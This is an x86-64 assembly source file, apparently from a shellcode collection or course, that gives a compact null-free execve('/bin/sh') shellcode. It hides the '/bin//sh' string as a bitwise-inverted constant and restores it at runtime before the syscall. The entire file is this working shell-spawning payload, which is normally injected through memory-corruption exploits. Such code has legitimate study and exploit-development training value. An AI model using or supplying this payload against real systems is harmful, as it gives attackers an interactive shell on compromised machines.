############################################################################### # © Gustavo Romero López 2017 - GPLv3 - gustavo@ugr.es # int execve(const char *filename, const char *argv[], const char *envp[]); # al rdi rsi rdx # 0x3b /bin/sh null null # cc -m64 -nostartfiles 24.s -o 24 ############################################################################### .text _start: .globl _start xor %esi, %esi mul %esi mov $~0x0068732f6e69622f, %rbx not %rbx push %rbx push %rsp pop %rdi mov $0x3b, %al syscall